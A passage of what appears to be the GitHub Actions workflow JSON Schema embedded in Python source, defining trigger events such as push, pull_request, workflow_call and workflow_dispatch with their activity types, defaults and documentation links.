\"items\": {\n                        \"$ref\": \"#/definitions/event\"\n                    },\n                    \"minItems\": 1\n                },\n                {\n                    \"type\": \"array\",\n                    \"properties\": {\n                        \"branch_protection_rule\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#branch_protection_rule\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the branch_protection_rule event occurs. More than one activity type triggers this event.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"check_run\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-run-event-check_run\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the check_run event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/runs.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"rerequested\",\n                                            \"completed\",\n                                            \"requested_action\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"rerequested\",\n                                        \"completed\",\n                                        \"requested_action\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"check_suite\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-suite-event-check_suite\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the check_suite event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/suites/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"completed\"]\n                                    },\n                                    \"default\": [\"completed\", \"requested\", \"rerequested\"]\n                                }\n                            }\n                        },\n                        \"create\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#create-event-create\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone creates a branch or tag, which triggers the create event. For information about the REST API, see https://developer.github.com/v3/git/refs/#create-a-reference.\"\n                        },\n                        \"delete\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#delete-event-delete\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone deletes a branch or tag, which triggers the delete event. For information about the REST API, see https://developer.github.com/v3/git/refs/#delete-a-reference.\"\n                        },\n                        \"deployment\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-event-deployment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone creates a deployment, which triggers the deployment event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/.\"\n                        },\n                        \"deployment_status\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-status-event-deployment_status\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime a third party provides a deployment status, which triggers the deployment_status event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/#create-a-deployment-status.\"\n                        },\n                        \"discussion\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the discussion event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"edited\",\n                                            \"deleted\",\n                                            \"transferred\",\n                                            \"pinned\",\n                                            \"unpinned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"category_changed\",\n                                            \"answered\",\n                                            \"unanswered\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"edited\",\n                                        \"deleted\",\n                                        \"transferred\",\n                                        \"pinned\",\n                                        \"unpinned\",\n                                        \"labeled\",\n                                        \"unlabeled\",\n                                        \"locked\",\n                                        \"unlocked\",\n                                        \"category_changed\",\n                                        \"answered\",\n                                        \"unanswered\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"discussion_comment\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion_comment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the discussion_comment event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"fork\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#fork-event-fork\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime when someone forks a repository, which triggers the fork event. For information about the REST API, see https://developer.github.com/v3/repos/forks/#create-a-fork.\"\n                        },\n                        \"gollum\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#gollum-event-gollum\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow when someone creates or updates a Wiki page, which triggers the gollum event.\"\n                        },\n                        \"issue_comment\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issue-comment-event-issue_comment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the issue_comment event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/comments/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"issues\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issues-event-issues\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the issues event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"opened\",\n                                            \"edited\",\n                                            \"deleted\",\n                                            \"transferred\",\n                                            \"pinned\",\n                                            \"unpinned\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"assigned\",\n                                            \"unassigned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"milestoned\",\n                                            \"demilestoned\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"opened\",\n                                        \"edited\",\n                                        \"deleted\",\n                                        \"transferred\",\n                                        \"pinned\",\n                                        \"unpinned\",\n                                        \"closed\",\n                                        \"reopened\",\n                                        \"assigned\",\n                                        \"unassigned\",\n                                        \"labeled\",\n                                        \"unlabeled\",\n                                        \"locked\",\n                                        \"unlocked\",\n                                        \"milestoned\",\n                                        \"demilestoned\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"label\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#label-event-label\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the label event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/labels/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"merge_group\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#merge_group\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For information about the merge queue, see https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue .\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"checks_requested\"]\n                                    },\n                                    \"default\": [\"checks_requested\"]\n                                }\n                            }\n                        },\n                        \"milestone\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#milestone-event-milestone\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the milestone event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/milestones/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"closed\", \"opened\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"closed\",\n                                        \"opened\",\n                                        \"edited\",\n                                        \"deleted\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"page_build\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#page-build-event-page_build\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone pushes to a GitHub Pages-enabled branch, which triggers the page_build event. For information about the REST API, see https://developer.github.com/v3/repos/pages/.\"\n                        },\n                        \"project\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-event-project\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the project event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"edited\",\n                                            \"deleted\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"closed\",\n                                        \"reopened\",\n                                        \"edited\",\n                                        \"deleted\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"project_card\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-card-event-project_card\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the project_card event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/cards.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"moved\",\n                                            \"converted\",\n                                            \"edited\",\n                                            \"deleted\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"moved\",\n                                        \"converted\",\n                                        \"edited\",\n                                        \"deleted\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"project_column\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-column-event-project_column\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the project_column event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/columns.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"updated\", \"moved\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"updated\", \"moved\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"public\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#public-event-public\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone makes a private repository public, which triggers the public event. For information about the REST API, see https://developer.github.com/v3/repos/#edit.\"\n                        },\n                        \"pull_request\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-event-pull_request\",\n                            \"$ref\": \"#/definitions/ref\",\n                            \"description\": \"Runs your workflow anytime the pull_request event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls.\\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"assigned\",\n                                            \"unassigned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"opened\",\n                                            \"edited\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"synchronize\",\n                                            \"converted_to_draft\",\n                                            \"ready_for_review\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"review_requested\",\n                                            \"review_request_removed\",\n                                            \"auto_merge_enabled\",\n                                            \"auto_merge_disabled\"\n                                        ]\n                                    },\n                                    \"default\": [\"opened\", \"synchronize\", \"reopened\"]\n                                }\n                            },\n                            \"patternProperties\": {\n                                \"^(branche|tag|path)s(-ignore)?$\": {\n                                    \"type\": \"array\"\n                                }\n                            },\n                            \"additionalProperties\": False\n                        },\n                        \"pull_request_review\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-event-pull_request_review\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the pull_request_review event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/reviews.\\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"submitted\", \"edited\", \"dismissed\"]\n                                    },\n                                    \"default\": [\"submitted\", \"edited\", \"dismissed\"]\n                                }\n                            }\n                        },\n                        \"pull_request_review_comment\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-comment-event-pull_request_review_comment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the pull_request_review_comment event. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/comments.\\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"pull_request_target\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#pull_request_target\",\n                            \"$ref\": \"#/definitions/ref\",\n                            \"description\": \"This event is similar to pull_request, except that it runs in the context of the base repository of the pull request, rather than in the merge commit. This means that you can more safely make your secrets available to the workflows triggered by the pull request, because only workflows defined in the commit on the base repository are run. For example, this event allows you to create workflows that label and comment on pull requests, based on the contents of the event payload.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"assigned\",\n                                            \"unassigned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"opened\",\n                                            \"edited\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"synchronize\",\n                                            \"converted_to_draft\",\n                                            \"ready_for_review\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"review_requested\",\n                                            \"review_request_removed\",\n                                            \"auto_merge_enabled\",\n                                            \"auto_merge_disabled\"\n                                        ]\n                                    },\n                                    \"default\": [\"opened\", \"synchronize\", \"reopened\"]\n                                }\n                            },\n                            \"patternProperties\": {\n                                \"^(branche|tag|path)s(-ignore)?$\": {}\n                            },\n                            \"additionalProperties\": False\n                        },\n                        \"push\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#push-event-push\",\n                            \"$ref\": \"#/definitions/ref\",\n                            \"description\": \"Runs your workflow when someone pushes to a repository branch, which triggers the push event.\\nNote: The webhook payload available to GitHub Actions does not include the added, removed, and modified attributes in the commit object. You can retrieve the full commit object using the REST API. For more information, see https://developer.github.com/v3/repos/commits/#get-a-single-commit.\",\n                            \"patternProperties\": {\n                                \"^(branche|tag|path)s(-ignore)?$\": {\n                                    \"items\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"type\": \"array\"\n                                }\n                            },\n                            \"additionalProperties\": False\n                        },\n                        \"registry_package\": {\n                            \"$comment\": \"https://help.github.com/en/actions/reference/events-that-trigger-workflows#registry-package-event-registry_package\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime a package is published or updated. For more information, see https://help.github.com/en/github/managing-packages-with-github-packages.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"published\", \"updated\"]\n                                    },\n                                    \"default\": [\"published\", \"updated\"]\n                                }\n                            }\n                        },\n                        \"release\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#release-event-release\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the release event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/repos/releases/ in the GitHub Developer documentation.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"published\",\n                                            \"unpublished\",\n                                            \"created\",\n                                            \"edited\",\n                                            \"deleted\",\n                                            \"prereleased\",\n                                            \"released\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"published\",\n                                        \"unpublished\",\n                                        \"created\",\n                                        \"edited\",\n                                        \"deleted\",\n                                        \"prereleased\",\n                                        \"released\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"status\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#status-event-status\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the status of a Git commit changes, which triggers the status event. For information about the REST API, see https://developer.github.com/v3/repos/statuses/.\"\n                        },\n                        \"watch\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#watch-event-watch\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the watch event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/activity/starring/.\"\n                        },\n                        \"workflow_call\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#workflow_call\",\n                            \"description\": \"Allows workflows to be reused by other workflows.\",\n                            \"properties\": {\n                                \"inputs\": {\n                                    \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs\",\n                                    \"description\": \"When using the workflow_call keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow.\",\n                                    \"type\": \"object\",\n                                    \"patternProperties\": {\n                                        \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id\",\n                                            \"description\": \"A string identifier to associate with the input. The value of <input_id> is a map of the input's metadata. The <input_id> must be a unique identifier within the inputs object. The <input_id> must start with a letter or _ and contain only alphanumeric characters, -, or _.\",\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"description\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription\",\n                                                    \"description\": \"A string description of the input parameter.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"deprecationMessage\": {\n                                                    \"description\": \"A string shown to users using the deprecated input.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"required\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired\",\n                                                    \"description\": \"A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.\",\n                                                    \"type\": \"boolean\"\n                                                },\n                                                \"type\": {\n                                                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinput_idtype\",\n                                                    \"description\": \"Required if input is defined for the on.workflow_call keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: boolean, number, or string.\",\n                                                    \"type\": \"string\",\n                                                    \"enum\": [\"boolean\", \"number\", \"string\"]\n                                                },\n                                                \"default\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault\",\n                                                    \"description\": \"The default value is used when an input parameter isn't specified in a workflow file.\",\n                                                    \"type\": [\"boolean\", \"number\", \"string\"]\n                                                }\n                                            },\n                                            \"required\": [\"required\", \"type\"],\n                                            \"additionalProperties\": False\n                                        }\n                                    },\n                                    \"additionalProperties\": False\n                                },\n                                \"secrets\": {\n                                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecrets\",\n                                    \"description\": \"A map of the secrets that can be used in the called workflow. Within the called workflow, you can use the secrets context to refer to a secret.\",\n                                    \"patternProperties\": {\n                                        \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                                            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_id\",\n                                            \"description\": \"A string identifier to associate with the secret.\",\n                                            \"properties\": {\n                                                \"description\": {\n                                                    \"description\": \"A string description of the secret parameter.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"required\": {\n                                                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_idrequired\",\n                                                    \"description\": \"A boolean specifying whether the secret must be supplied.\"\n                                                }\n                                            },\n                                            \"required\": [\"required\"],\n                                            \"additionalProperties\": False\n                                        }\n                                    },\n                                    \"additionalProperties\": False\n                                }\n                            }\n                        },\n                        \"workflow_dispatch\": {\n                            \"$comment\": \"https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/\",\n                            \"description\": \"You can now create workflows that are manually triggered with the new workflow_dispatch event. You will then see a 'Run workflow' button on the Actions tab, enabling you to easily trigger a run.\",\n                            \"properties\": {\n                                \"inputs\": {\n                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs\",\n                                    \"description\": \"Input parameters allow you to specify data that the action expects to use during runtime. GitHub stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.\",\n                                    \"type\": \"object\",\n                                    \"patternProperties\": {\n                                        \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_id\",\n                                            \"description\": \"A string identifier to associate with the input. The value of <input_id> is a map of the input's metadata. The <input_id> must be a unique identifier within the inputs object. The <input_id> must start with a letter or _ and contain only alphanumeric characters, -, or _.\",\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"description\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription\",\n                                                    \"description\": \"A string description of the input parameter.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"deprecationMessage\": {\n                                                    \"description\": \"A string shown to users using the deprecated input.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"required\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired\",\n                                                    \"description\": \"A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.\",\n                                                    \"type\": \"boolean\"\n                                                },\n                                                \"default\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault\",\n                                                    \"description\": \"A string representing the default value. The default value is used when an input parameter isn't specified in a workflow file.\"\n                                                },\n                                                \"type\": {\n                                                    \"description\": \"A string representing the type of the input.\",\n                                                    \"type\": \"string\",\n                                                    \"enum\": [\"string\", \"choice\", \"boolean\", \"environment\"]\n                                                },\n                                                \"options\": {\n                                                    \"$comment\": \"https://github.blog/changelog/2021-11-10-github-actions-input-types-for-manual-workflows\",\n                                                    \"description\": \"The options of the dropdown list, if the type is a choice.\",\n                                                    \"type\": \"array\",\n                                                    \"items\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"minItems\": 1\n                                                }\n                                            },\n                                            \"allOf\": [\n                                                {\n                                                    \"if\": {\n                                                        \"properties\": {\n                                                            \"type\": {\n                                                                \"const\": \"boolean\"\n                                                            }\n                                                        },\n                                                        \"required\": [\"type\"]\n                                                    },\n                                                    \"then\": {\n                                                        \"properties\": {\n                                                            \"default\": {\n                                                                \"type\": \"boolean\"\n                                                            }\n                                                        }\n                                                    },\n                                                    \"else\": {\n                                                        \"properties\": {\n                                                            \"default\": {\n                                                                \"type\": \"string\"\n                                                            }\n                                                        }\n                                                    }\n                                                },\n                                                {\n                                                    \"if\": {\n                                                        \"properties\": {\n                                                            \"type\": {\n                                                                \"const\": \"choice\"\n                                                            }\n                                                        },\n                                                        \"required\": [\"type\"]\n                                                    },\n                                                    \"then\": {\n                                                        \"required\": [\"options\"]\n                                                    }\n                                                }\n                                            ],\n                                            \"required\": [\"description\", \"required\"],\n                                            \"additionalProperties\": False\n                                        }\n                                    },\n                                    \"additionalProperties\": False\n                                }\n                            }\n                        },\n                        \"workflow_run\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#workflow_run\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"This event occurs when a workflow run is requested or completed, and allows you to execute a workflow based on the finished result of another workflow. For example, if your pull_request workflow generates build artifacts, you can create a new workflow that uses workflow_run to analyze the results and add a comment to the original pull request.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"requested\", \"completed\"]\n                                    },\n                                    \"default\": [\"requested\", \"completed\"]\n                                },\n                                \"workflows\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"minItems\": 1\n                                }\n                            },\n                            \"patternProperties\": {\n                                \"^branches(-ignore)?$\": {}\n                            }\n                        },\n                        \"repository_dispatch\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#external-events-repository_dispatch\",\n                            \"$ref\": 